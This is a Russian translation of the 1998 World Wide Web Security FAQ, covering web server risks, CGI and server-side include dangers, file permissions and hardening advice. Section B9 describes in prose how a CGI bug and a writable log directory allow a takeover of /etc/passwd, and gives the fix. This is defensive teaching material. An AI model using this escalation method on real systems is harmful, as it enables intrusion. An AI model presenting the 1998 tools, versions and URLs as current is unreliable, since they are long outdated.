Вопросы и ответы по безопасности данных в WWW

Настоящий документ является переводом документа

The World Wide Web Security FAQ

Lincoln D. Stein mailto:lstein@w3.org
Version 1.9.0, June 30, 1998

Перевод - Дмитрий Громов
mailto:dgro@chromo.lgu.spb.su

От переводчика:
Я добавил страничку с сылками на другие сайты с полезной информацией по технологии WWW на русском языке.

Содержание

Вперед, к *Введение*

Предупреждения

Исходные тексты вставок на сервере, включая Allaire Cold Fusion pages, могут быть взломаны на некоторых серверах для Windows NT. См. Что нового.

Зеркальные копии оригинала (на английском языке)

Оригинал находится на: http://www.w3.org/Security/Faq/.

Смотрите здесь если Вас интересуют зеркальные копии или Вы сами хотите установить зеркальную копию.

СОДЕРЖАНИЕ

Вопросы и ответы по безопасности данных в WWW

Вопросы и ответы по безопасности данных в WWW

Вопросы и ответы по безопасности данных в WWW

10. Конкретные Серверы (75)
    - Серверы для Windows NT
        - B71 Известны ли какие-либо проблемы в серверах Netscape?
        - B72 Известны ли проблемы в WebSite сервере?
        - B73 Известны ли проблемы в Purveyor?
        - B74 Известны ли проблемы в Microsoft IIS?
        - B75 Известны ли проблемы с безопасностью в сервере JavaWebServer от Sun?
        - B76 Известны ли проблемы с безопасностью в сервере MetaWeb Server от MetaInfo?
    - Серверы для UNIX
        - B77 Известны ли проблемы в NCSA httpd?
        - B78 Известны ли проблемы в Apache httpd?
        - B79 Известны ли проблемы в серверах Netscape?
        - B80 Известны ли проблемы в сервере Lotus Domino Go?
        - B81 Известны ли проблемы в сервере WN?
    - Серверы для Macintosh
        - B82 Известны ли проблемы в WebStar?
        - B83 Известны ли проблемы в MacHTTP?
        - B84 Известны ли проблемы в Quid Pro Quo?
    - Другие серверы
        - B85 Известны ли проблемы в сервере Novell WebServer?

2. Что нового?

Здесь - предшествующие версии оригинала.

- Version 1.9.0, June 30, 1998
  - Информация о новых проблемах в O'Reilly WebSite Pro, Netscape Enterprise Server for Windows NT, Sun's JavaWebServer и Process Software's Purveyor. Лазейка позволяет пользователям получать тексты вставок на сервере и сервлетов Java.
  - Описание проблем в сервереMetaInfo MetaWeb.
  - Добавлена ссылка на CGI/Perl Taint Mode FAQ в разделе Perl taint checks.
  - Изменен пример обеззараживания адреса e-mail для соответствия более осторожному подходу Gunther Birznieks.
  - К списку скриптов CGI, содержащих лазейки, добавлен скрипт TextCounter (автор - Matt Wright). Обновлена информация по гостевым книгам в том же разделе.
  - Упоминание сервера CERN Web server удалено из раздела о конкретных серверах, поскольку этот сервер используется теперь крайне редко.
- Version 1.8.1, April 16. 1998
  - Мелкие исправления - опечатки и URL.
- Version 1.8.0, April 13, 1998
  - Добавлена информация об ошибках <Embed> и рекурсивных рамках в Internet Explorer версии 4.0-4.01
  - Добавлена информация о переполнении буфера закладок в Netscape Communicator 4.0-4.04
  - Обновлена секция cookies, добавлено обсуждение риска пиратства по отношению к идентификаторам сессии, даны рекомендации разработчикам о способах защиты от этой проблемы.
  - Добавлено предупреждение о серьезной лазейке в браузере Lynx 2.7.1.
  - Добавлено обсуждение разработки политики информационной безопасности организации к разделу предосторожности общего порядка
  - Добавлено несколько инструментов контроля, специфичных для Windows NT, к списку в разделе предосторожности общего порядка.
  - Обновлен список зеркальных копий.
- Version 1.7.0, January 19, 1998
  - Добавлена информация о лазейках, недавно найденных в Excite Web Search Engine.
- Version 1.6, 1.6.1, January 16, 1998
  - Информация о новой серьезной лазейке в браузере Microsoft Internet Explorer (4.0, 4.01)
  - Информация о новых лазейках в Microsoft Internet Information Server и Personal Web Server, версия 4.0
  - Информация о новых лазейках в серверах Netscape Enterprise (3.0) и FastTrack (3.01).
  - Описание новых лазеек в сервере Apache версий до 1.2.4.
  - Старые, но не упоминавшиеся ранее лазейки в IBM Internet Connection Secure Server.
  - WebPass, новый скрипт для смены пароля
- Version 1.5.1, November 6, 1997
  - Скрипт *Count.cgi* добавлен к списку скриптов CGI, содержащих ошибки.
  - Добавлена информация о sbox wrapper для запуска скриптов CGI в\ многопользовательской среде.
  - Мелкие исправления в URL и адресах e-mail.
- Version 1.5, November 1, 1997
  - Добавлены разделы о признании сертификатов узла и сертификатов CA.

  - Новые данные о старых ошибках в конфигурации директориев записи истории сервера в серверах Netscape и, возможно, других коммерческих серверах.
  - Mac был взломан! Смотри подробности.
  - Раздел о проблемах в JavaScript дополнен информацией о Freiburg атаке в IE 4.0.
  - Раздел о HTTP cookies дополнен информацией об "отсекателе cookies" (cookie cutter) и анонимизации proxy.
  - Информация о новых возможностях Netscape 4.0 и IE 4.0 в области безопасности добавлена в разделе Безопасность на стороне клиента.
  - Исправлены многочисленные грамматические ошибки и опечатки (в ОРИГИНАЛЕ ;)).
- Version 1.4.1, September 3, 1997
  - Новый адрес оригинала на W3C.
  - Переделан дизайн для соответствия "стилю W3C".
  - Новый раздел об использовании личных удостоверений (personal certificates) для контроля доступа к узлу.
  - Переписано введение.
  - Обновлена информация об ошибках в JavaScript в Netscape.
- Version 1.4.0, July 10, 1997
  - Две новых лазейки в защите в браузерах с активированным JavaScript.
- Version 1.3.9, June 25, 1997
  - Информация об инициировании отказа Microsoft IIS
  - Информация о Возможности копирования файлов в Netscape Navigator 2.0, 3.0, 3.01 и Communicator 4.0
  - Исправлены опечатки.
- Version 1.3.8, June 11, 1997
  - Информация о лазейках в PHP и file.pl скриптах CGI.
  - Новый раздел об уязвимости Novell WebServer.
  - Исправлены ошибки и опечатки - спасибо Paul DuBois <dubois@primate.wisc.edu>).
  - Новая информация о Macintosh: проблемы с лог-файлами в сервере Quid Pro Quo .
- Version 1.3.7, May 7, 1997
  - Сообщения о лазейках в различных скриптах CGI, включая FrontPage, Selena Sol guestbook и Mindshare *Out Box*. См. B34.
- Version 1.3.6, March 29, 1997
  - Новые опасности в Internet Explorer.
- Version 1.3.5, March 21, 1997
  - Информация о возможности получения сетевых имен пользователей и паролей через Netscape Navigator и IE.
- Version 1.3.4
  - Информация о лазейке в CGI скрипте nph-publish.
  - Дополнительная информация о лазейке в I.E..
- Version 1.3.3
  - Добавлена информация о bytecode verifier лазейке в Java.
- Version 1.3.2
  - Серьезные проблемы в безопасности Internet Explorer 3.01.
- Version 1.3.2
  - Информация о новой лазейке, найденой в сервере Microsoft IIS.
  - Расширена секция о проблемах безопасности в ActiveX , которые стали очевидны после появления реально вредных элементов (благодаря Chaos Computer Club)
  - Исправлен ряд ссылок и опечаток.
- Version 1.3.1
  - Информация о двух новых лазейках в сервере Apache Web server.
  - Информация о недавно появившейся программе смены пароля на основе CGI.

    - Весь список (оригинал на английском языке) теперь доступен как ZIP файл.
- Version 1.3.0
    - Новый раздел об ActiveX.
    - Новый раздел о HTTP cookies.
    - Разделы о Java и JavaScript более-менее приведены в порядок.
    - Обновлен раздел об электронной коммерции.
    - Добавлен раздел о лазейке в системе мониторинга Macintosh WebSTAR.
    - Исправления ссылок и ошибок.
- Version 1.2.4
    - Раздел Java расширен в свете новых данных.
    - Обновлены многие ссылки.
    - Сообщения о проблемах в библиотеке `util.c` в серверах Apache и NCSA httpd добавлены к соответствующим разделам.
    - Расширена библиография.
    - Список зеркальных копий быстро растет.
- Version 1.2.3
    - Ввиду новых данных о проблемах в Java и JavaScript эти секции были значительно переработаны.
    - Введен список зеркальных копий.
    - К разделу библиографии добавлен Risks Digest.
- Version 1.2.2
    - Список разделен на фрагменты для удобства доступа через Атлантику.
    - Описания Java и JavaScript перемещены в раздел Безопасность на стороне клиента (что вызвало перенумерацию вопросов).
    - Java и JavaScript обновлены чтобы отразить исправления известных ошибок в Netscape 2.01.
    - Внесена информация об исправлении лазейки в .BAT файлах в Microsoft IIS.
    - К разделу о серверах Macintosh добавлены результаты испытаний WebStar.
- Version 1.2.1
    - Правильно упомянута Jennifer Myers как первооткрыватель лазейки в `util.c` от NCSA.
- Version 1.2.0
    - Расширено описание **очень серьезных лазеек в JavaScript**. Если Вы или кто-либо в Вашей организации использует Netscape 2.0, то прочтите это.
    - Сервер Microsoft IIS добавлен к списку серверов для Windows NT, имеющих лазейку в .BAT скриптах CGI.
    - Описание лазейки найденой недавно в библиотеке CGI `util.c`, распространяемой NCSA и используемой во многих CGI скриптах, написанных на C.
- Version 1.1.9
    - Исправлена путаница между Java и JavaScript. Является ли автор единственным, кто был обманут сходством терминов?
- Version 1.1.8
    - Дальнейшие добавления о лазейке в CGI скриптах на основе .BAT файлов в различных серверах для NT, включая ссылку на способ устранения для O'Reilly и неподверженность Purveyor.
    - Полностью новый раздел о Java.
- Version 1.1.7
    - Сервер O'Reilly WebSite имеет ту же самую лазейку в .BAT скриптах CGI, что и сервер Netscape, соответствующий раздел обновлен для отражения этого факта.
    - Обновлен раздел о SSL информацией об исправлениях SSL для сервера Apache.
- Version 1.1.6

    - Добавлен новый раздел о лазейках в специфических проблемах и объяснен на примере двух недавних сообщений о Netscape Communication Server для Windows NT. Этот раздел будет увеличиваться, смещение в сторону Netscape - болезнь роста.
- Version 1.1.5
    - Исправления в тексте perl для безопасной отсылки почты. Спасибо William DenBesten за ее обнаружение.
- Version 1.1.4
    - Исправлена опечатка в примере защиты страницы паролем.
- Version 1.1.3
    - Исправлена ошибка в выражении Perl для обработки адресов e-mail (обнаружена Enzo Michelangelo).
    - Исправлена ошибка в адресе Trusted Information Systems FTP сервера.
- Version 1.1.2
    - Добавлено обсуждение ограничений на IP адреса, предложенное Paul Phillips.
- Version 1.1.1
    - Добавлена зеркальная копия в Европе на www.Austria.EU.net.
- Version 1.1
    - Секция безопасность на стороне клиента расширена на основе материала, любезно предоставленного Laura Pearlman.
    - Исправлен ряд ошибочных ссылок, включая адрес Safe Perl.
    - Добавлена информация о "prank macro" в Microsoft Word (спасибо Neal McBurnett).

3. Вопросы Общего Порядка

B1: О чем беспокоиться?

Увы, много о чем. Существуют риски, затрагивающие серверы Web, локальные сети, в которых есть компьютеры с серверами Web и даже невинных пользователей браузеров.

Наиболее неприятны опасности для вебмастера. С того момента, когда вы установили у себя Web сервер, вы открыли в своей локальной сети окно, которым может пользоваться вся Internet. Большинство посетителей будут пользоваться только тем, что вы им предоставляете, однако некоторые попробуют получить доступ к вещам, которые вы не хотели бы предоставлять в публичное пользование. Другие, имеющие желание не только посмотреть, ноо и потрогать, будут пытаться открыть окно и проникнуть внутрь. Результаты могут быть различными, от просто раздражающих (например, вы обнаруживаете утром, что ваша домашняя страница заменена на идиотскую пародию), до разрушительных (например, похищение всей базы данных заказчиков вашей компании).

То, что ошибки в программах открывают лазейки в системе безопасности, рассматривается как истина людьми, занимающимися системной безопасностью. То, что большие и сложные программы содержат ошибки, является истиной для разработчиков программ. К сожалению, серверы Web являются большими и сложными программами, которые могут содержать лазейки в системе безопасности (что было подтверждено в ряде случаев). Более того, открытая архитектура серверов Web позволяет запускать любые скрипты CGI на сервере в ответ на запрос со стороны программы - клиента. Любой скрипт, установленный на вашем сервере, может содержать ошибку, и такая ошибка является потенциальной лазейкой.

Для сетевого администратора сервер Web представляет собой дополнительную потенциальную лазейку в защите локальной сети. Цель защиты локальных сетей - не пускать туда посторонних. Цель организации узла Web - предоставить внешнему миру ограниченный доступ к вашей локальной сети. Разграничение и совмещение этих двух задач может оказаться сложным. Плохо настроенный сервер Web может пробить дыру в самом хорошо настроенном брандмауэре. Плохо настроенный брандмауэр может сделать сервер бесполезным. Особенно трудно решать эти задачи в среде intranet, где от сервера, как правило, требуется способность различать разные группы пользователей и предоставлять им разные права доступа.

Для конечного пользователя хождение по Web выглядит и безопасным, и анонимным. Это не так. Активные элементы, такие как элементы ActiveX или апплеты Java, делают возможным заражение системы пользователя компьютерным вирусом или внесение других опасных программ в систему. Сетевой администратор должен понимать, что активные элементы позволяют нежелательным программам обходить брандмауэры и проникать в локальную сеть. Даже без использования активных элементов, каждое действие пользователя оставляет запись в истории браузера, и заинтересованные лица могут получать очень подробные описания пользовательских вкусов и привычек.

Наконец, и конечные пользователи, и администраторы Web должны думать о конфиденциальности данных, передаваемых по сети. Протокол TCP/IP разрабатывался без учета проблем защиты и позволяет осуществлять "подслушивание" в сети. При передаче конфиденциальной информации между сервером и браузером она может быть перехвачена третьими лицами.

B2: О каких конкретных опасностях мы говорим?

В первом приближении, существует три перекрывающихся типа рисков:

1. Ошибки или неправильная настройка сервера позволяют посторонним:
    - Получать конфиденциальные документы, для них не предназначенные
    - Выполнять команды на компьютере, поддерживающем сервер, и модифицировать систему
    - Получать информацию о компьютере, на котором установлен Web сервер, могущую позволить проникнуть на компьютер.
    - Осуществлять "нападения с целью подавления", делая машину временно неработоспособной.
2. Риски на стороне клиента, включая:
    - Активные элементы, вызывающие сбои в браузере, повреждающие систему пользователя, нарушающие частную жизнь пользователя или просто надоедающие.
    - Использование не по назначению частной информации, осознанно или неосознанно предоставляемой пользователем.
3. Перехват данных, передаваемых по сети между сервером и браузером. Перехват возможен в любом месте на пути передачи информации, включая:
    - Сеть, в которой находится браузер
    - Сеть, в которой находится сервер (в том числе - intranet)
    - Провайдер доступа к Internet (ISP) пользователя
    - ISP сервера
    - Региональный провайдер любого из ISP.

Нужно понимать, что только "защищенные" ("secure") браузеры и серверы предусматривают защиту от перехвата данных в сети. При отсутствии защиты на одном из концов соединения возможен перехват конфиденциальной информации.

Защита от подслушивания и системная безопасность рассматриваются в разделах с 1 по 5. Безопасность на стороне клиента обсуждается в разделах 6 и 7. Раздел 8 содержит информацию по конкретным серверам.

B3: Являются ли какие-либо операционные системы более безопасными в качестве платформы для Web - серверов, чем другие?

Ответ - да, хотя это может быть неприятно для сообщества пользователей Unix. В общем случае, чем более мощная и гибкая операционная система, тем она более открыта для проникновения через Web- и другие серверы.

Системы Unix, с их большим количеством встроенных серверов, сервисов, командных языков и интерпретаторов, особо уязвимы для нападений, просто потому, что в них имеется слишком много входов, которые могут быть использованы хакерами. Менее мощные системы, такие как Macintosh и машины с MS-Windows, взломать труднее. С другой стороны, на них труднее реализовать действительно сложные задачи, и приходится выбирать между удобством и безопасностью.

Конечно, всегда следует учитывать фактор опытности людей, администрирующих компьютер и программное обеспечение на сервере. Система Unix, управляемая опытным администратором, вероятно будет более безопасной, чем система MS Windows, установленная новичком.

B4: Являются ли какие-либо программы Web серверов более безопасными, чем другие?

Ответ снова - да, хотя безрассудно было бы давать четкие рекомендации в этом вопросе. В общем случае, чем больше возможностей предоставляет сервер, тем скорее в нем имеются лазейки. Простые серверы, позволяющие не многим более, чем давать доступ к статическим файлам, возможно, более безопасны, чем сложные серверы, предоставляющие такие возможности, как просмотр содержимого каталогов, выполнение скриптов CGI, обработка вставок на сервере (server-side includes) и программную обработку ошибок.

В версии 1.3 сервера NCSA для Unix содержится известная серьезная лазейка, найденная в марте 1995 года. Она позволяет постороннему пользователю выполнять любую команду на машине, на которой запущен сервер. Если у вас есть выполняемый файл httpd версии 1.3 с датой создания до марта 1995 года - не используйте его! Замените его на исправленный сервер 1.3 (доступен на http://hoohoo.ncsa.uiuc.edu/) или на версию 1.4 или более позднюю (доступна по тому же адресу). Версия Apache для замены NCSA также не содержит этой ошибки (http://www.hyperreal.com/apache/info.html)

Серверы различаются также возможностями ограничения доступа к отдельным документам или к частям дерева документов. Некоторые серверы не дают никакой возможности ограничения доступа, другие позволяют ограничивать доступ к директориям на основе IP адреса браузера или имени пользователя и пароля. Некоторые серверы, главным образом - коммерческие (например - Netsite Commerce Server, Open Market), позволяют также шифровать данные.

Сервер WN (автор - John Franks) заслуживает в этой связи особого упоминания, поскольку его организация сильно отличается от остальных Web серверов. Большинство серверов используют разрешительный подход к организации доступа, позволяя передачу любого документа из корня дерева документов, если это не запрещено явно, а WN использует запретительный подход. Сервер не передаст файл, если он не помещен специально в список разрешенных документов. Получение списков файлов и другие "неразборчивые" операции также запрещены. Получить информацию о защите сервера WN можно из его описания по адресу:

http://hopf.math.nwu.edu/docs/security.html

Таблица, сравнивающая особенности большого количества коммерческих и некоммерческих серверов помещена на узле WebCompare:

http://www.webcompare.com/

B5: Небезопасны ли скрипты CGI?

Скрипты CGI - основной источник лазеек в защите. Хотя протокол CGI (Common Gateway Interface) не является незащищенным по природе, скрипты CGI должны разрабатываться с той же тщательностью,

что и собственно серверы. К сожалению, некоторые скрипты не выполняют этого требования в надежде, что администраторы будут устанавливать их у себя и не думать о вытекающих проблемах.

B6: Являются ли вставки на сервере небезопасными?

Вставки на сервере (server-side includes), обрабатывающие команды, включенные в текст документов HTML, тоже являются потенциальными лазейками. Набор имеющихся в них команд включает инструкции, заставляющие сервер выполнять произвольные системные команды и скрипты CGI. Если автор не знает о потенциальных проблемах, он может легко привнести нежелательные побочные эффекты. Увы, очень легко создать HTML файл, содержащий опасные вставки на сервере.

Некоторые серверы, в том числе - Apache и NCSA, позволяют администратору избирательно отключать те типы вставок, которые позволяют выполнять произвольные команды. См. подробности в B10.

B7: Какие предосторожности общего порядка следует соблюдать?

Если Вы являетесь вебмастером, системным администратором, или имеете какое-либо еще отношение к администрированию сетей, то наиболее важный шаг, который Вы можете сделать в направлении усиления безопасности сети - это написать инструкцию по правилам безопасности при работе в сети для Вашей организации. Эти правила должны четко определять политику Вашей организации в следующих моментах:

- Кто имеет право использования системы
- Когда он имеет право ее использования
- Что он имеет право делать (разные группы лиц могут иметь разные права доступа)
- Какова процедура получения доступа к системе
- Какова процедура отзыва права доступа (например, когда работник увольняется)
- Какие действия допустимы при работе
- Каковы методы прямого и удаленного доступа к системе
- Каковы процедуры контроля
- Какая реакция предусмотрена в случае наршения безопасности системы

Эти правила не должны быть чем-то особенным. Это должно быть краткое описание того, как работает Ваша информационная система, составленное с учетом технологических и организационных реалий Вашей организации. В случае, если у Вас есть написанные правила, вы получаете следующие преимущества:

1. Вы сами будете четко знать, что можно и чего нельзя делать. Если у Вас нет четких правил, Вам труднее понять, когда произошло нарушение.
2. Ваши пользователи будут понимать, что такое политика защиты информации. Правила, зафиксированные на бумаге, повышают уровень понимания проблемы и создают базу для обсуждения.
3. Правила безопасности задают уровень требований, для которых надо создавать техническую базу. Это позволяет бороться с синдромом "сперва купим, а там разберемся".
4. Правила могут помочь Вам в судебных разбирательствах в случае, если Вы будете отвечать за нарушение безопасности ситемы.

Вопросы и ответы по безопасности данных в WWW

Дальнейшие советы по разработке политики безопасности информации можно найти в материалах по общей безопасности в Internet, перечисленных в конце этого документа.

Вот некоторые предосторожности, которые следует соблюдать на серверах, установленных под Unix или NT:

1. Ограничивайте число пользователей в системе. Удаляйте ненужных пользователей.
2. Следите за тем, чтобы пользователи, имеющие возможность входа в систему, выбирали хорошие пароли. Программа Crack поможет вам обнаружить плохие пароли:

   ftp://ftp.cert.org/pub/tools/crack/

3. Отключите службы, которые вы не используете. Например, если вам не нужен FTP вход на машину, на которой установлен Web сервер, физически уничтожте ftp демона (т.е. сотрите файл ftpd). То же самое касается tftp, sendmail, gopher, клиентов NIS (network information service), NFS (networked file system), finger, systat и чего угодно еще, что может быть в системе. Проверте файл /etc/inetd.conf на предмет демонов, которые могут скрываться в системе, и закомментируйте тех, которых вы не используете.
4. Удалите оболочки и интерпретаторы, кроме тех, которые вам абсолютно необходимы. Например, если вы не используете скрипты на основе Perl, то удалите интерпретатор Perl.
5. Регулярно проверяйте файлы трассировки системы и Web на предмет обнаружения следов подозрительной активности. Программы Tripwire (Unix) и Internet Security Scanner (Unix & NT) полезны для проверки системных архивов и критичных файлов на попытки взлома:

   Tripwire
   ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/
   Internet Security Scanner

   Мы еще вернемся к вопросу проверки файлов трассировки Web на предмет подозрительной активности.

6. Убедитесь, что у вас правильно установлены права доступа для системных файлов. Программа COPS может в этом помочь:

   ftp://ftp.cert.org/pub/tools/cops/

   Для Windows NT можете попробовать Administrator Assistant Toolkit от Midwestern Commerce:

   http://www.ntsecurity.com/

Учитывайте возможность того, что _местный_ пользователь может по ошибке изменить конфигурационный файл сервера или документы WWW и открыть тем самым лазейку в защите. Вы должны установить права доступа к директориям сервера и документов так, чтобы разрешить изменения только тем пользователям, которым вы доверяете. Многие создают группу пользователей "www", к которой добавляют надежных авторов Web документов. Только этой группе пользователей разрешается запись в корневой директорий для документов. Чтобы еще усилить безопасность, права на запись в корневой директорий сервера, где хранятся жизненно важные файлы, предоставляются только официальному системному администратору Web сервера. Многие создают для этой цели пользователя "www".

B8: Где можно получить дополнительную информацию по безопасности в сетях?

Следует упомянуть следующие хорошие книги:

- Unix System Security: A Guide for Users and System Administrators, by David Curry
- Practical Unix Security, by Simson Garfinkel and Gene Spafford
- Windows NT Security Guide, by Stephan Sutton.

Источник текущей информации, включая обнаружение новых лазеек в безопасности - CERT Coordination Center advisories, рассылается через телеконференцию comp.security.announce и доступен в виде архива по адресу:

ftp://ftp.cert.org/pub/cert_advisories/

Список рассылки, посвященный вопросам безопасности в WWW, поддерживается IETF Web Transaction Security Working Group. Для подписки на него пошлите e-mail на адрес www-security-request@nsmx.rutgers.edu, в тексте письма напишите:

SUBSCRIBE www-security ваш_адрес_e-mail

Ряд списков вопросов и ответов по безопасности поддерживается компанией Internet Security Systems, Inc. Списки можно найти по адресу:

http://www.iss.net/sec_info/addsec.html

Главный список вопросов и ответов о WWW (WWW FAQ) также содержит вопросы и ответы относительно проблем безопасности Web, таких, как обработка файлов трассировки и источники программного обеспечения для серверов. Последние версии можно найти по адресу:

http://www.boutell.com/faq/

4. Поддержка Безопасного Сервера

B9: Как следует устанавливать права доступа к файлам в корневых директориях сервера и дерева документов?

Для максимальной безопасности важно соблюдать политику "необходимости знания" как в отношении корневого директория дерева документов (та часть диска, где хранятся документы HTML), так и в отношении корневого директория сервера (где хранятся файлы настроек и трассировки). Очень важно правильно регулировать права доступа к директорию сервера, поскольку именно здесь хранятся скрипты CGI и файлы с важной информацией о настройках и трассировке.

Вам необходимо защитить сервер от нежелательных взглядов как внутренних, так и внешних пользователей. Простейший способ достижения этой цели - создание пользователя "www" для администратора WWW-сервера и группы пользователей "www" для всех пользователей вашей системы, которые должны создавать HTML документы. В системах семейства Unix отредактируйте файл /etc/passwd так, чтобы сделать корневой директорий сервера домашним директорием пользователя www. Отредактируйте файл /etc/group так, чтобы добавить всех разработчиков к группе www.

Корневой директорий сервера должен быть организован так, чтобы только пользователь www имел право записи в директории, содержащие конфигурационные файлы и файлы трассировки. По вашему желанию можно разрешить доступ для чтения к этим директориям для пользователей группы www. Эти директории _не должны_ быть общедоступны для чтения. Директорий cgi-bin и его содержимое должны быть общедоступны для чтения и выполнения, но не для записи (если вы доверяете вашим разработчикам, входящим в группу www, то вы можете разрешить им запись в этот директорий). Ниже приведен пример установки прав доступа к каталогам сервера:

```
drwxr-xr-x   5 www      www          1024 Aug  8 00:01 cgi-bin/
drwxr-x---   2 www      www          1024 Jun 11 17:21 conf/
-rwx------   1 www      www        109674 May  8 23:58 httpd
drwxrwxr-x   2 www      www          1024 Aug  8 00:01 htdocs/
drwxrwxr-x   2 www      www          1024 Jun  3 21:15 icons/
drwxr-x---   2 www      www          1024 May  4 22:23 logs/
```

Иные требования относятся к корневому директорию дерева документов. Все файлы, которые вы хотите предоставлять пользователям Internet, должны быть доступны для чтения сервером в то время, когда он работает с правами пользователя "nobody". Возможно вы захотите также дать вашим разработчикам документов возможность свободно добавлять файлы к дереву документов. Поэтому вам следует сделать корневой директорий дерева документов и его подкаталоги принадлежащими пользователю и группе "www", общедоступными для чтения и доступными для записи пользователями группы www:

```
drwxrwxr-x   3 www      www          1024 Jul  1 03:54 contents
drwxrwxr-x  10 www      www          1024 Aug 23 19:32 examples
-rw-rw-r--   1 www      www          1488 Jun 13 23:30 index.html
-rw-rw-r--   1 lstein   www         39294 Jun 11 23:00 resource_guide.html
```

Многие серверы позволяют открывать доступ к частям дерева документов только для браузеров с определенными IP адресами или для внешних пользователей, предоставляющих правильный пароль (см. ниже). Однако, в некоторых случаях администраторы системы могут хотеть закрыть доступ к некоторым HTML документам для _внутренних_ пользователей, не имеющих для этого права. Это является проблемой в случае, если корневой директорий дерева документов общедоступен для чтения.

Одно из решений этой проблемы состоит в том, чтобы запускать сервер не с правами пользователя nobody, а как другого непривилегированного пользователя, принадлежащего группе www. В этом случае можно сделать защищенные документы доступными для чтения группой www, но не всеми пользователями (в этом случае, если вы не хотите, чтобы сервер имел возможность изменять свои документы, не давайте группе www прав записи в директории дерева документов!). Теперь документы защищены от нежелательных взглядов как внутренних, так и внешних глаз. Не забудьте установить правильные права доступа также для всех скриптов CGI.

Сервер CERN развивает эти возможности, позволяя запускать сервер с разными правами пользователя и группы для различных частей дерева документов. Информация о том, как этого достичь, содержится в документации сервера.

В том случае, когда ваш сервер запускается с правами пользователя root, но в процессе работы пользуется правами доступа другого пользователя (смотри B11), особенно важно запретить запись в директорий, содержащий файлы трассировки, для того пользователя, правами которого располагает сервер при работе. Например, серверы Netscape FastTrack и SuiteSpot при установке разрешают запись в директорий с файлами трассировки для пользователя, с правами которого работает сервер (пользователь "nobody" в том случае, если вы выбрали настройки по умолчанию). Это может приводить к тому, что некоторые ошибки в скриптах CGI станут гораздо более опасными, чем в иных ситуациях. Напимер, если ошибка в скрипте позволяет удаленному пользователю выполнять произвольные команды на сервере, то пользователь может получить права доступа пользователя root (системного администратора), заменив файл трассировки ссылкой на файл /etc/passwd. При перезапуске сервера ссылка приведет к тому, что владельцем файла /etc/passwd станет пользователь nobody. Теперь удаленный пользователь может использовать ошибку в скрипте для редактирования файла /etc/passwd и добавления в систему нового пользователя. Предлагаемый способ борьбы с проблемой состоит в том, чтобы изменить права доступа к директорию с файлами трассировки сервера так, чтобы запретить запись для пользователя, с правами которого работает сервер, после чего создать пустые файлы трассировки (log) и идентификатора процесса (pid), принадлежащие этому пользователю (сервер не будет запускаться в случае, если не сможет открыть эти файлы). Хотя это не лучшее решение, поскольку оно позволяет хакерам редактировать файлы трассировки, такая конфигурация все-таки лучше той, которая используется по умолчанию. Эта лазейка может присутствовать также в других коммерческих серверах. Спасибо Laura Pearlman за эту информацию.

B10: Я использую сервер, предоставляющий кучу дополнительных возможностей. Являются ли какие-либо из них дополнительными рисками?

Да. Многие возможности, увеличивающие удобство установки и поддержания сервера, увеличивают также вероятность взлома. Ниже приведен список потенциально опасных возможностей. Если вы не испытываете абсолютной необходимости в их использовании - выключите их.

Автоматическое получение списков файлов

Знание - сила, и чем больше внешний хакер знает о вашей системе, тем больше у него возможностей найти в ней лазейку. Возможность автоматического просмотра директориев, предоставляемая серверами CERN, NCSA, Netscape, Apache и другими, безусловно удобна, но может позволить хакеру получить доступ к важной информации. Такую информацию могут содержать: резервные копии файлов Emacs с исходными текстами скриптов CGI; файлы поддержки программных проектов; ссылки (ярлыки), однажды вами созданные для удобства, которые вы забыли удалить; директории с временными файлами и т.п.

Конечно, выключив возможность автоматического просмотра директориев, вы не помешаете пользователям получить доступ к файлам, имена которых они узнали другим образом. Имена файлов могут быть также случайно включены в индексы, порождаемые программой автоматического поиска по ключевым словам. Для полной безопасности необходимо полностью удалять из вашего дерева документов все файлы, которые вы хотите защитить.

Отслеживание ссылок (ярлыков)

Некоторые серверы позволяют расширять дерево документов посредством символических ссылок. Это удобно, но таит опасность в случае случайного создания кем-нибудь ссылки на важную системную область, например - директорий /etc. Более безопасный способ расширения дерева документов - явное включение соответствующей директивы в файл настроек сервера (включая директиву PathAlias в серверах семейства NCSA и инструкцию Pass в сервере CERN).

Серверы NCSA и Apache позволяют полностью отключить отслеживание ссылок. Дополнительно существует возможность позволять следовать ссылке только в том случае, если она принадлежит тому же пользователю, которому принадлежит то, на что она указывает. Вы можете таким образом нарушить безопасность только той части дерева документов, которой владеете, но не чужой.

Вставки на сервере

Выполняемые ("exec") вставки на сервере являются одним из основных типов лазеек. Их использование должно быть либо выключено полностью, либо позволено только очень надежным пользователям. В серверах NCSA и Apache можно выключить выполняемые вставки для директория, включив следующую инструкцию в соответствующий директорию раздел файла access.conf:

```
Options IncludesNoExec
```

Директории, контролируемые пользователями

Разрешать любому пользователю в системе добавлять документы к вашему серверу очень демократично. Однако, вы должны быть уверены, что пользователи не откроют лазейку на вашем сервере. Пользователи могут опубликовать документ, содержащий важную информацию о системе, или создать скрипт CGI, вставку на сервере или ссылку, открывающую лазейку в системе безопасности. Если возможно, то лучше избегать подобных решений. Если пользователю надо создать собственную страницу, то лучше предоставить ему область в дереве документов для работы и удостовериться, что он понимает, что делает. Где бы ни хранились документы домашней страницы пользователя - в его домашнем каталоге или в части дерева документов сервера - лучше запретить включения на сервере и скрипты CGI в этой области файловой системы.

B11: Я слышал, что запуск сервера с правами пользователя root - плохая практика. Так ли это?

В Сети наблюдалось некоторое недопонимание и несогласие в этом вопросе. Большинство серверов запускаются с правами пользователя root, что позволяет им открывать порт 80 (стандартный порт для протокола http) и производить запись в файлы трассировки. Затем сервер ждет запросов к порту 80. Когда приходит внешний запрос, сервер запускает дочерний процесс для обработки запроса и возвращается к режиму ожидания. Дочерний процесс изменяет идентификатор пользователя, правами которого он пользуется, на пользователя "nobody", после чего продолжает обработку внешнего запроса. Все действия, совершаемые в ответ на пришедший запрос - выполнение скриптов CGI или обработка вставок на сервере - выполняются с правами непривилегированного пользователя nobody.

Когда говорят об "опасности запуска сервера с правами пользователя root", то подразумевают другую схему. Опасность состоит в настройке сервера для запуска _дочерних процессов_ с правами root (т.е. в директиве "User root" в конфигурационном файле сервера). Это действительно большой риск, так как любой скрипт CGI, запущенный с правами root, имеет доступ во все щели и углы вашей системы.

